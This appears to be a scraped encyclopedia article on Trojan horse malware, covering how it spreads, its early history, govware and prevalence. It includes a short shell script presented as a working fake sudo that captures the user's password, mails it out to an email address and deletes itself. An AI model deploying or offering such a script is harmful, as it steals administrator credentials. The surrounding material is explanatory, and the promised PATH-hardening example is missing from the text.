|Part of a series on|
|Part of a series on|
|Related security categories|
In computing, a Trojan horse is any malware that misleads users of its true intent. The term is derived from the Ancient Greek story of the deceptive Trojan Horse that led to the fall of the city of Troy.
Trojans generally spread by some form of social engineering; for example, where a user is duped into executing an email attachment disguised to appear innocuous (e.g., a routine form to be filled in), or by clicking on some fake advertisement on social media or anywhere else. Although their payload can be anything, many modern forms act as a backdoor, contacting a controller who can then have unauthorized access to the affected computer. Ransomware attacks are often carried out using a trojan.
Unlike computer viruses, worms, and rogue security software, trojans generally do not attempt to inject themselves into other files or otherwise propagate themselves.
It's not clear where or when the concept, and this term for it, was first used, but by 1971 the first Unix manual assumed its readers knew both:
Also, one may not change the owner of a file with the set—user—ID bit on, otherwise one could create Trojan Horses able to misuse other’s files.
Another early reference is in a US Air Force report in 1974 on the analysis of vulnerability in the Multics computer systems.
It was made popular by Ken Thompson in his 1983 Turing Award acceptance lecture "Reflections on Trusting Trust", subtitled: To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software. He mentioned that he knew about the possible existence of trojans from a report on the security of Multics.
Once installed, trojans may perform a range of malicious actions. Many tend to contact one or more Command and Control (C2) servers across the Internet and await instruction. Since individual trojans typically use a specific set of ports for this communication, it can be relatively simple to detect them. Moreover, other malware could potentially "take over" the trojan, using it as a proxy for malicious action.
In German-speaking countries, spyware used or made by the government is sometimes called govware. Govware is typically a Trojan software used to intercept communications from the target computer. Some countries like Switzerland and Germany have a legal framework governing the use of such software. Examples of govware trojans include the Swiss MiniPanzer and MegaPanzer and the German "state trojan" nicknamed R2D2. German govware works by exploiting security gaps unknown to the general public and accessing smartphone data before it becomes encrypted via other applications.
Due to the popularity of botnets among hackers and the availability of advertising services that permit authors to violate their users' privacy, trojans are becoming more common. According to a survey conducted by BitDefender from January to June 2009, "trojan-type malware is on the rise, accounting for 83% of the global malware detected in the world." Trojans have a relationship with worms, as they spread with the help given by worms and travel across the internet with them. BitDefender has stated that approximately 15% of computers are members of a botnet, usually recruited by a trojan infection.
A Trojan horse is a program that purports to perform some obvious function, yet upon execution it compromises the user's security. One easy program is a new version of the Linux sudo command. The command is then copied to a publicly writable directory like
/tmp. If an administrator happens to be in that directory and executes
sudo, then the Trojan horse might be executed. Here is a working version:
: # sudo # ---- # Turn off the character echo to the screen. stty -echo /bin/echo -n "Password for `whoami`: " read x /bin/echo "" # Turn back on the character echo. stty echo echo $x | mail -s "`whoami` password" firstname.lastname@example.org sleep 1 echo Sorry. rm $0 exit 0
To prevent a command-line based Trojan horse, set the
. entry in the
PATH= environment variable to be located at the tail end. For example:
The computer term "trojan horse" is derived from the legendary Trojan Horse of the ancient city of Troy. For this reason "Trojan" is often capitalized. However, while style guides and dictionaries differ, many suggest a lower case "trojan" for normal use.
((cite web)): CS1 maint: unfit URL (link)